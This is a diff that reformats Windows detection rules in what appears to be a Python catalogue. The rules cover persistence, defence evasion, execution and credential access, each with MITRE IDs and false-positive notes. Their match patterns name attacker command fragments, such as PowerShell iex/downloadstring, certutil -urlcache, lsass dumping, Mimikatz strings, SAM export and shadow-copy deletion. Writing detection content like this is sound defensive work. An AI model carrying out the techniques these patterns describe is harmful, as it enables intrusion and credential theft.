+ mitre=["t1546.003"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 20},
+ fp=["Endpoint mgmt agent uses WMI persistence (allow-listed)"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="win-wmi-binding-create",
+ name="WMI Filter-To-Consumer Binding Created",
+ severity="high",
+ mitre=["t1546.003"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 21},
+ fp=["Endpoint mgmt agent uses WMI persistence (allow-listed)"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="win-shim-database-installed",
+ name="Application Compatibility Shim Database Installed",
+ severity="high",
+ mitre=["t1546.011"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "sdbinst.exe", "process_command_line_contains_any": [".sdb", "/install"]},
+ fp=["Microsoft compatibility tooling rolled by IT"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="win-print-monitor-installed",
+ name="Print Monitor DLL Installed",
+ severity="high",
+ mitre=["t1547.010"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 13, "target_object_contains": "\\control\\print\\monitors\\"},
+ fp=["Vendor printer driver install"],
+ playbook="tpl-persistence",
+ ),
# ---- Defense evasion (15) ----
- S(slug="win-defender-disabled-via-registry", name="Microsoft Defender Disabled Via Registry",
- severity="high", mitre=["t1562.001"], product="windows", service="sysmon",
- when={"event_id": 13, "target_object_contains": "\\windows defender\\", "value_name": "DisableAntiSpyware", "value_data": "1"},
- fp=["Conflicting AV product install"], playbook="tpl-defense-evasion"),
- S(slug="win-defender-realtime-monitoring-off", name="Defender Real-Time Monitoring Disabled",
- severity="high", mitre=["t1562.001"], product="windows", service="defender",
- when={"event_id": 5001},
- fp=["Conflicting AV product install"], playbook="tpl-defense-evasion"),
- S(slug="win-defender-exclusion-added", name="Microsoft Defender Path Exclusion Added",
- severity="medium", mitre=["t1562.001"], product="windows", service="defender",
- when={"event_name": "AddPreference", "exclusion_path_contains_any": ["\\users\\", "\\temp\\", "\\appdata\\"]},
- fp=["Approved third-party tool exclusion"], playbook="tpl-defense-evasion"),
- S(slug="win-amsi-provider-loaded", name="AMSI Provider DLL Loaded From User Path",
- severity="high", mitre=["t1562.001"], product="windows", service="sysmon",
- when={"event_id": 13, "target_object_endswith": "\\amsi\\providers", "value_data_contains_any": ["\\users\\", "\\temp\\"]},
- fp=[FP_PENTEST], playbook="tpl-defense-evasion"),
- S(slug="win-etw-tampering-via-registry", name="ETW Disabled Via Registry",
- severity="high", mitre=["t1562.006"], product="windows", service="sysmon",
- when={"event_id": 13, "target_object_endswith": "\\autologger\\eventlog-application", "value_name": "Start", "value_data": "0"},
- fp=[FP_PATCH], playbook="tpl-defense-evasion"),
- S(slug="win-eventlog-service-stopped", name="Windows Event Log Service Stopped",
- severity="high", mitre=["t1562.001"], product="windows", service="services",
- when={"event_id": 7036, "service_name": "eventlog", "service_state": "stopped"},
- fp=[FP_PATCH], playbook="tpl-defense-evasion"),
- S(slug="win-application-log-cleared", name="Windows Application Event Log Cleared",
- severity="high", mitre=["t1070.001"], product="windows", service="security",
- when={"event_id": 1102, "log_name": "Application"},
- fp=["Approved log archival job"], playbook="tpl-defense-evasion"),
- S(slug="win-system-log-cleared", name="Windows System Event Log Cleared",
- severity="high", mitre=["t1070.001"], product="windows", service="security",
- when={"event_id": 104, "log_name": "System"},
- fp=["Approved log archival job"], playbook="tpl-defense-evasion"),
- S(slug="win-sysmon-config-changed", name="Sysmon Configuration Changed",
- severity="high", mitre=["t1562.001"], product="windows", service="sysmon",
- when={"event_id": 16},
- fp=[FP_TUNING, FP_AUTOMATION], playbook="tpl-defense-evasion"),
- S(slug="win-uac-bypass-fodhelper", name="UAC Bypass Via fodhelper.exe",
- severity="high", mitre=["t1548.002"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "fodhelper.exe", "parent_process_endswith_any": ["powershell.exe", "cmd.exe"]},
- fp=["Microsoft Optional Features install workflow"], playbook="tpl-privilege-escalation"),
- S(slug="win-uac-bypass-eventvwr", name="UAC Bypass Via eventvwr.exe",
- severity="high", mitre=["t1548.002"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "eventvwr.exe", "child_process_endswith_any": ["cmd.exe", "powershell.exe", "wscript.exe"]},
- fp=["Admin support session"], playbook="tpl-privilege-escalation"),
- S(slug="win-uac-bypass-sdclt", name="UAC Bypass Via sdclt.exe",
- severity="high", mitre=["t1548.002"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "sdclt.exe", "child_process_endswith_any": ["cmd.exe", "powershell.exe"]},
- fp=["Backup utility usage"], playbook="tpl-privilege-escalation"),
- S(slug="win-always-install-elevated", name="AlwaysInstallElevated Registry Enabled",
- severity="high", mitre=["t1548.002"], product="windows", service="sysmon",
- when={"event_id": 13, "target_object_endswith": "\\installer\\alwaysinstallelevated", "value_data": "1"},
- fp=[FP_AUTOMATION], playbook="tpl-privilege-escalation"),
- S(slug="win-bcdedit-recovery-disabled", name="bcdedit Used To Disable Recovery",
- severity="high", mitre=["t1490"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "bcdedit.exe", "process_command_line_contains_any": ["recoveryenabled no", "bootstatuspolicy ignoreallfailures"]},
- fp=[FP_FORENSIC], playbook="tpl-impact"),
- S(slug="win-vssadmin-list-shadows-then-delete", name="vssadmin Used To Enumerate And Delete Shadow Copies",
- severity="critical", mitre=["t1490"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "vssadmin.exe", "process_command_line_contains_all": ["delete", "shadows"]},
- fp=[FP_BACKUP], playbook="tpl-impact"),
-
+ S(
+ slug="win-defender-disabled-via-registry",
+ name="Microsoft Defender Disabled Via Registry",
+ severity="high",
+ mitre=["t1562.001"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 13, "target_object_contains": "\\windows defender\\", "value_name": "DisableAntiSpyware", "value_data": "1"},
+ fp=["Conflicting AV product install"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="win-defender-realtime-monitoring-off",
+ name="Defender Real-Time Monitoring Disabled",
+ severity="high",
+ mitre=["t1562.001"],
+ product="windows",
+ service="defender",
+ when={"event_id": 5001},
+ fp=["Conflicting AV product install"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="win-defender-exclusion-added",
+ name="Microsoft Defender Path Exclusion Added",
+ severity="medium",
+ mitre=["t1562.001"],
+ product="windows",
+ service="defender",
+ when={"event_name": "AddPreference", "exclusion_path_contains_any": ["\\users\\", "\\temp\\", "\\appdata\\"]},
+ fp=["Approved third-party tool exclusion"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="win-amsi-provider-loaded",
+ name="AMSI Provider DLL Loaded From User Path",
+ severity="high",
+ mitre=["t1562.001"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 13, "target_object_endswith": "\\amsi\\providers", "value_data_contains_any": ["\\users\\", "\\temp\\"]},
+ fp=[FP_PENTEST],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="win-etw-tampering-via-registry",
+ name="ETW Disabled Via Registry",
+ severity="high",
+ mitre=["t1562.006"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 13, "target_object_endswith": "\\autologger\\eventlog-application", "value_name": "Start", "value_data": "0"},
+ fp=[FP_PATCH],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="win-eventlog-service-stopped",
+ name="Windows Event Log Service Stopped",
+ severity="high",
+ mitre=["t1562.001"],
+ product="windows",
+ service="services",
+ when={"event_id": 7036, "service_name": "eventlog", "service_state": "stopped"},
+ fp=[FP_PATCH],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="win-application-log-cleared",
+ name="Windows Application Event Log Cleared",
+ severity="high",
+ mitre=["t1070.001"],
+ product="windows",
+ service="security",
+ when={"event_id": 1102, "log_name": "Application"},
+ fp=["Approved log archival job"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="win-system-log-cleared",
+ name="Windows System Event Log Cleared",
+ severity="high",
+ mitre=["t1070.001"],
+ product="windows",
+ service="security",
+ when={"event_id": 104, "log_name": "System"},
+ fp=["Approved log archival job"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="win-sysmon-config-changed",
+ name="Sysmon Configuration Changed",
+ severity="high",
+ mitre=["t1562.001"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 16},
+ fp=[FP_TUNING, FP_AUTOMATION],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="win-uac-bypass-fodhelper",
+ name="UAC Bypass Via fodhelper.exe",
+ severity="high",
+ mitre=["t1548.002"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "fodhelper.exe", "parent_process_endswith_any": ["powershell.exe", "cmd.exe"]},
+ fp=["Microsoft Optional Features install workflow"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="win-uac-bypass-eventvwr",
+ name="UAC Bypass Via eventvwr.exe",
+ severity="high",
+ mitre=["t1548.002"],
+ product="windows",
+ service="sysmon",
+ when={
+ "event_id": 1,
+ "process_name_endswith": "eventvwr.exe",
+ "child_process_endswith_any": ["cmd.exe", "powershell.exe", "wscript.exe"],
+ },
+ fp=["Admin support session"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="win-uac-bypass-sdclt",
+ name="UAC Bypass Via sdclt.exe",
+ severity="high",
+ mitre=["t1548.002"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "sdclt.exe", "child_process_endswith_any": ["cmd.exe", "powershell.exe"]},
+ fp=["Backup utility usage"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="win-always-install-elevated",
+ name="AlwaysInstallElevated Registry Enabled",
+ severity="high",
+ mitre=["t1548.002"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 13, "target_object_endswith": "\\installer\\alwaysinstallelevated", "value_data": "1"},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="win-bcdedit-recovery-disabled",
+ name="bcdedit Used To Disable Recovery",
+ severity="high",
+ mitre=["t1490"],
+ product="windows",
+ service="sysmon",
+ when={
+ "event_id": 1,
+ "process_name_endswith": "bcdedit.exe",
+ "process_command_line_contains_any": ["recoveryenabled no", "bootstatuspolicy ignoreallfailures"],
+ },
+ fp=[FP_FORENSIC],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="win-vssadmin-list-shadows-then-delete",
+ name="vssadmin Used To Enumerate And Delete Shadow Copies",
+ severity="critical",
+ mitre=["t1490"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "vssadmin.exe", "process_command_line_contains_all": ["delete", "shadows"]},
+ fp=[FP_BACKUP],
+ playbook="tpl-impact",
+ ),
# ---- Execution / scripting (15) ----
- S(slug="win-powershell-iex-from-web", name="PowerShell Invoke-Expression On Web Download",
- severity="high", mitre=["t1059.001"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "powershell.exe", "process_command_line_contains_all": ["iex", "downloadstring"]},
- fp=[FP_AUTOMATION, "Allow-listed deployment script"], playbook="tpl-execution"),
- S(slug="win-powershell-bypass-flag", name="PowerShell Run With ExecutionPolicy Bypass",
- severity="medium", mitre=["t1059.001"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "powershell.exe", "process_command_line_contains_any": ["-executionpolicy bypass", "-ep bypass"]},
- fp=[FP_AUTOMATION, "Sanctioned dev environment"], playbook="tpl-execution"),
- S(slug="win-powershell-amsi-bypass-string", name="PowerShell Command Line Contains AMSI Bypass String",
- severity="high", mitre=["t1562.001", "t1059.001"], product="windows", service="sysmon",
- when={"event_id": 1, "process_command_line_contains_any": ["amsiUtils", "amsiInitFailed", "amsiContext"]},
- fp=[FP_PENTEST], playbook="tpl-defense-evasion"),
- S(slug="win-mshta-running-script", name="mshta.exe Executed Inline Script",
- severity="high", mitre=["t1218.005"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "mshta.exe", "process_command_line_contains_any": ["javascript:", "vbscript:", "http"]},
- fp=["Vendor installer that abuses mshta (allow-listed)"], playbook="tpl-execution"),
- S(slug="win-rundll32-from-temp", name="rundll32.exe Loaded DLL From Temp Path",
- severity="high", mitre=["t1218.011"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "rundll32.exe", "process_command_line_contains_any": ["\\temp\\", "\\appdata\\local\\temp"]},
- fp=[FP_PATCH], playbook="tpl-execution"),
- S(slug="win-rundll32-no-args", name="rundll32.exe Started Without Arguments",
- severity="medium", mitre=["t1218.011"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "rundll32.exe", "process_command_line_endswith": "rundll32.exe"},
- fp=["Cobalt Strike known false positive in dev VMs"], playbook="tpl-execution"),
- S(slug="win-regsvr32-scrobj", name="regsvr32.exe Used With scrobj.dll (Squiblydoo)",
- severity="high", mitre=["t1218.010"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "regsvr32.exe", "process_command_line_contains_all": ["scrobj.dll", "/i:"]},
- fp=[FP_PENTEST], playbook="tpl-execution"),
- S(slug="win-wmic-process-call-create-remote", name="wmic process call create Used For Remote Execution",
- severity="high", mitre=["t1047"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "wmic.exe", "process_command_line_contains_all": ["/node:", "process call create"]},
- fp=["IT remote support tooling (allow-listed)"], playbook="tpl-lateral-movement"),
- S(slug="win-cscript-from-temp", name="cscript.exe Executing Script From Temp",
- severity="medium", mitre=["t1059.005"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "cscript.exe", "process_command_line_contains_any": ["\\temp\\", "\\downloads\\"]},
- fp=[FP_AUTOMATION], playbook="tpl-execution"),
- S(slug="win-bitsadmin-download", name="bitsadmin.exe Downloading File",
- severity="medium", mitre=["t1197"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "bitsadmin.exe", "process_command_line_contains_any": ["/transfer", "http"]},
- fp=["Microsoft auto-update workflow"], playbook="tpl-command-and-control"),
- S(slug="win-certutil-decode", name="certutil.exe Used To Decode Encoded File",
- severity="high", mitre=["t1140"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "certutil.exe", "process_command_line_contains_any": ["-decode", "-decodehex", "-urlcache -split -f"]},
- fp=[FP_PATCH], playbook="tpl-defense-evasion"),
- S(slug="win-certutil-download-url", name="certutil.exe Used To Download Remote File",
- severity="high", mitre=["t1105"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "certutil.exe", "process_command_line_contains": "-urlcache"},
- fp=[FP_PATCH], playbook="tpl-command-and-control"),
- S(slug="win-cmstp-load-untrusted-inf", name="cmstp.exe Loaded INF From Suspicious Path",
- severity="high", mitre=["t1218.003"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "cmstp.exe", "process_command_line_contains_any": ["\\appdata\\", "\\temp\\"]},
- fp=["Microsoft Configuration Manager rollouts"], playbook="tpl-execution"),
- S(slug="win-installutil-from-temp", name="InstallUtil.exe Run From Temp Path",
- severity="high", mitre=["t1218.004"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "installutil.exe", "process_command_line_contains_any": ["\\temp\\", "\\appdata\\"]},
- fp=["Approved .NET deploy"], playbook="tpl-execution"),
- S(slug="win-msbuild-running-inline-task", name="MSBuild Running Inline Task XML From User Path",
- severity="high", mitre=["t1127.001"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "msbuild.exe", "process_command_line_contains_any": ["\\users\\public\\", "\\appdata\\"]},
- fp=["Developer build pipeline (allow-listed)"], playbook="tpl-execution"),
-
+ S(
+ slug="win-powershell-iex-from-web",
+ name="PowerShell Invoke-Expression On Web Download",
+ severity="high",
+ mitre=["t1059.001"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "powershell.exe", "process_command_line_contains_all": ["iex", "downloadstring"]},
+ fp=[FP_AUTOMATION, "Allow-listed deployment script"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="win-powershell-bypass-flag",
+ name="PowerShell Run With ExecutionPolicy Bypass",
+ severity="medium",
+ mitre=["t1059.001"],
+ product="windows",
+ service="sysmon",
+ when={
+ "event_id": 1,
+ "process_name_endswith": "powershell.exe",
+ "process_command_line_contains_any": ["-executionpolicy bypass", "-ep bypass"],
+ },
+ fp=[FP_AUTOMATION, "Sanctioned dev environment"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="win-powershell-amsi-bypass-string",
+ name="PowerShell Command Line Contains AMSI Bypass String",
+ severity="high",
+ mitre=["t1562.001", "t1059.001"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_command_line_contains_any": ["amsiUtils", "amsiInitFailed", "amsiContext"]},
+ fp=[FP_PENTEST],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="win-mshta-running-script",
+ name="mshta.exe Executed Inline Script",
+ severity="high",
+ mitre=["t1218.005"],
+ product="windows",
+ service="sysmon",
+ when={
+ "event_id": 1,
+ "process_name_endswith": "mshta.exe",
+ "process_command_line_contains_any": ["javascript:", "vbscript:", "http"],
+ },
+ fp=["Vendor installer that abuses mshta (allow-listed)"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="win-rundll32-from-temp",
+ name="rundll32.exe Loaded DLL From Temp Path",
+ severity="high",
+ mitre=["t1218.011"],
+ product="windows",
+ service="sysmon",
+ when={
+ "event_id": 1,
+ "process_name_endswith": "rundll32.exe",
+ "process_command_line_contains_any": ["\\temp\\", "\\appdata\\local\\temp"],
+ },
+ fp=[FP_PATCH],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="win-rundll32-no-args",
+ name="rundll32.exe Started Without Arguments",
+ severity="medium",
+ mitre=["t1218.011"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "rundll32.exe", "process_command_line_endswith": "rundll32.exe"},
+ fp=["Cobalt Strike known false positive in dev VMs"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="win-regsvr32-scrobj",
+ name="regsvr32.exe Used With scrobj.dll (Squiblydoo)",
+ severity="high",
+ mitre=["t1218.010"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "regsvr32.exe", "process_command_line_contains_all": ["scrobj.dll", "/i:"]},
+ fp=[FP_PENTEST],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="win-wmic-process-call-create-remote",
+ name="wmic process call create Used For Remote Execution",
+ severity="high",
+ mitre=["t1047"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "wmic.exe", "process_command_line_contains_all": ["/node:", "process call create"]},
+ fp=["IT remote support tooling (allow-listed)"],
+ playbook="tpl-lateral-movement",
+ ),
+ S(
+ slug="win-cscript-from-temp",
+ name="cscript.exe Executing Script From Temp",
+ severity="medium",
+ mitre=["t1059.005"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "cscript.exe", "process_command_line_contains_any": ["\\temp\\", "\\downloads\\"]},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="win-bitsadmin-download",
+ name="bitsadmin.exe Downloading File",
+ severity="medium",
+ mitre=["t1197"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "bitsadmin.exe", "process_command_line_contains_any": ["/transfer", "http"]},
+ fp=["Microsoft auto-update workflow"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="win-certutil-decode",
+ name="certutil.exe Used To Decode Encoded File",
+ severity="high",
+ mitre=["t1140"],
+ product="windows",
+ service="sysmon",
+ when={
+ "event_id": 1,
+ "process_name_endswith": "certutil.exe",
+ "process_command_line_contains_any": ["-decode", "-decodehex", "-urlcache -split -f"],
+ },
+ fp=[FP_PATCH],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="win-certutil-download-url",
+ name="certutil.exe Used To Download Remote File",
+ severity="high",
+ mitre=["t1105"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "certutil.exe", "process_command_line_contains": "-urlcache"},
+ fp=[FP_PATCH],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="win-cmstp-load-untrusted-inf",
+ name="cmstp.exe Loaded INF From Suspicious Path",
+ severity="high",
+ mitre=["t1218.003"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "cmstp.exe", "process_command_line_contains_any": ["\\appdata\\", "\\temp\\"]},
+ fp=["Microsoft Configuration Manager rollouts"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="win-installutil-from-temp",
+ name="InstallUtil.exe Run From Temp Path",
+ severity="high",
+ mitre=["t1218.004"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "installutil.exe", "process_command_line_contains_any": ["\\temp\\", "\\appdata\\"]},
+ fp=["Approved .NET deploy"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="win-msbuild-running-inline-task",
+ name="MSBuild Running Inline Task XML From User Path",
+ severity="high",
+ mitre=["t1127.001"],
+ product="windows",
+ service="sysmon",
+ when={
+ "event_id": 1,
+ "process_name_endswith": "msbuild.exe",
+ "process_command_line_contains_any": ["\\users\\public\\", "\\appdata\\"],
+ },
+ fp=["Developer build pipeline (allow-listed)"],
+ playbook="tpl-execution",
+ ),
# ---- Credential access (12) ----
- S(slug="win-procdump-lsass", name="ProcDump Used Against lsass.exe",
- severity="critical", mitre=["t1003.001"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "procdump.exe", "process_command_line_contains_any": ["lsass", "-ma lsass"]},
- fp=[FP_FORENSIC, "Microsoft support memory capture"], playbook="tpl-credential-access"),
- S(slug="win-comsvcs-minidump", name="comsvcs.dll MiniDump Of lsass",
- severity="critical", mitre=["t1003.001"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "rundll32.exe", "process_command_line_contains_all": ["comsvcs.dll", "minidump"]},
- fp=[FP_FORENSIC], playbook="tpl-credential-access"),
- S(slug="win-mimikatz-strings-on-cli", name="Mimikatz Marker String In Process Command Line",
- severity="critical", mitre=["t1003"], product="windows", service="sysmon",
- when={"event_id": 1, "process_command_line_contains_any": ["sekurlsa::", "lsadump::", "kerberos::", "crypto::"]},
- fp=[FP_PENTEST], playbook="tpl-credential-access"),
- S(slug="win-ntds-extract-ntdsutil", name="ntdsutil.exe Used To Extract NTDS",
- severity="critical", mitre=["t1003.003"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "ntdsutil.exe", "process_command_line_contains_any": ["ifm", "create full", "activate instance ntds"]},
- fp=["AD recovery procedure"], playbook="tpl-credential-access"),
- S(slug="win-vss-shadow-then-copy-ntds", name="VSS Shadow Created Then NTDS.dit Copied",
- severity="critical", mitre=["t1003.003"], product="windows", service="sysmon",
- when={"event_id": 11, "target_filename_endswith": "ntds.dit", "creator_process_endswith_any": ["copy.exe", "robocopy.exe", "powershell.exe"]},
- fp=[FP_BACKUP], playbook="tpl-credential-access"),
- S(slug="win-secretsdump-impacket", name="Impacket secretsdump.py Pattern Detected",
- severity="critical", mitre=["t1003"], product="windows", service="sysmon",
- when={"event_id": 1, "process_command_line_contains_any": ["secretsdump", "impacket", "sam.save", "system.save"]},
- fp=[FP_PENTEST], playbook="tpl-credential-access"),
- S(slug="win-reg-save-sam", name="reg save Used Against SAM/SECURITY/SYSTEM",
- severity="critical", mitre=["t1003.002"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "reg.exe", "process_command_line_contains_all": ["save", "hklm\\sam"]},
- fp=[FP_FORENSIC], playbook="tpl-credential-access"),
- S(slug="win-credential-manager-vault-dump", name="vaultcmd.exe Listed All Stored Credentials",
- severity="high", mitre=["t1555.004"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "vaultcmd.exe", "process_command_line_contains": "/listcreds"},
- fp=[FP_FORENSIC], playbook="tpl-credential-access"),
- S(slug="win-dpapi-masterkey-access", name="DPAPI Master Key File Read From Roaming Dir",
- severity="high", mitre=["t1555.003"], product="windows", service="sysmon",
- when={"event_id": 11, "target_filename_contains": "\\protect\\", "creator_process_not_endswith_any": ["lsass.exe", "explorer.exe"]},
- fp=["Migration / profile fix-up tool"], playbook="tpl-credential-access"),
- S(slug="win-browser-credential-file-read", name="Chromium Login Data SQLite File Read",
- severity="high", mitre=["t1555.003"], product="windows", service="sysmon",
- when={"event_id": 11, "target_filename_endswith": "\\login data", "creator_process_not_endswith_any": ["chrome.exe", "msedge.exe", "brave.exe"]},
- fp=["Browser sync / migration tool"], playbook="tpl-credential-access"),
- S(slug="win-dcsync-via-replication", name="DCSync Replication Right Used By Non-DC Account",
- severity="critical", mitre=["t1003.006"], product="windows", service="security",
- when={"event_id": 4662, "object_properties_contains": "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "account_is_dc": False},
- fp=["AD migration tool with replication granted"], playbook="tpl-credential-access"),
- S(slug="win-kerberos-asrep-roast", name="Kerberos AS-REP Roasting Pattern",
- severity="high", mitre=["t1558.004"], product="windows", service="security",
- when={"event_id": 4768, "preauth_required": False, "ticket_encryption_type": "0x17"},
- fp=["Legacy app with preauth disabled (deprecated, must be tracked)"], playbook="tpl-credential-access"),
-
+ S(
+ slug="win-procdump-lsass",
+ name="ProcDump Used Against lsass.exe",
+ severity="critical",
+ mitre=["t1003.001"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "procdump.exe", "process_command_line_contains_any": ["lsass", "-ma lsass"]},
+ fp=[FP_FORENSIC, "Microsoft support memory capture"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="win-comsvcs-minidump",
+ name="comsvcs.dll MiniDump Of lsass",
+ severity="critical",
+ mitre=["t1003.001"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "rundll32.exe", "process_command_line_contains_all": ["comsvcs.dll", "minidump"]},
+ fp=[FP_FORENSIC],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="win-mimikatz-strings-on-cli",
+ name="Mimikatz Marker String In Process Command Line",
+ severity="critical",
+ mitre=["t1003"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_command_line_contains_any": ["sekurlsa::", "lsadump::", "kerberos::", "crypto::"]},
+ fp=[FP_PENTEST],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="win-ntds-extract-ntdsutil",
+ name="ntdsutil.exe Used To Extract NTDS",
+ severity="critical",
+ mitre=["t1003.003"],
+ product="windows",
+ service="sysmon",
+ when={
+ "event_id": 1,
+ "process_name_endswith": "ntdsutil.exe",
+ "process_command_line_contains_any": ["ifm", "create full", "activate instance ntds"],
+ },
+ fp=["AD recovery procedure"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="win-vss-shadow-then-copy-ntds",
+ name="VSS Shadow Created Then NTDS.dit Copied",
+ severity="critical",
+ mitre=["t1003.003"],
+ product="windows",
+ service="sysmon",
+ when={
+ "event_id": 11,
+ "target_filename_endswith": "ntds.dit",
+ "creator_process_endswith_any": ["copy.exe", "robocopy.exe", "powershell.exe"],
+ },
+ fp=[FP_BACKUP],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="win-secretsdump-impacket",
+ name="Impacket secretsdump.py Pattern Detected",
+ severity="critical",
+ mitre=["t1003"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_command_line_contains_any": ["secretsdump", "impacket", "sam.save", "system.save"]},
+ fp=[FP_PENTEST],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="win-reg-save-sam",
+ name="reg save Used Against SAM/SECURITY/SYSTEM",
+ severity="critical",
+ mitre=["t1003.002"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "reg.exe", "process_command_line_contains_all": ["save", "hklm\\sam"]},
+ fp=[FP_FORENSIC],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="win-credential-manager-vault-dump",
+ name="vaultcmd.exe Listed All Stored Credentials",
+ severity="high",
+ mitre=["t1555.004"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "vaultcmd.exe", "process_command_line_contains": "/listcreds"},
+ fp=[FP_FORENSIC],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="win-dpapi-masterkey-access",
+ name="DPAPI Master Key File Read From Roaming Dir",
+ severity="high",
+ mitre=["t1555.003"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 11, "target_filename_contains": "\\protect\\", "creator_process_not_endswith_any": ["lsass.exe", "explorer.exe"]},
+ fp=["Migration / profile fix-up tool"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="win-browser-credential-file-read",
+ name="Chromium Login Data SQLite File Read",
+ severity="high",
+ mitre=["t1555.003"],
+ product="windows",
+ service="sysmon",
+ when={
+ "event_id": 11,
+ "target_filename_endswith": "\\login data",
+ "creator_process_not_endswith_any": ["chrome.exe", "msedge.exe", "brave.exe"],
+ },
+ fp=["Browser sync / migration tool"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="win-dcsync-via-replication",
+ name="DCSync Replication Right Used By Non-DC Account",
+ severity="critical",
+ mitre=["t1003.006"],
+ product="windows",
+ service="security",
+ when={"event_id": 4662, "object_properties_contains": "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "account_is_dc": False},
+ fp=["AD migration tool with replication granted"],
+ playbook="tpl-credential-access",
+ ),
+ S(
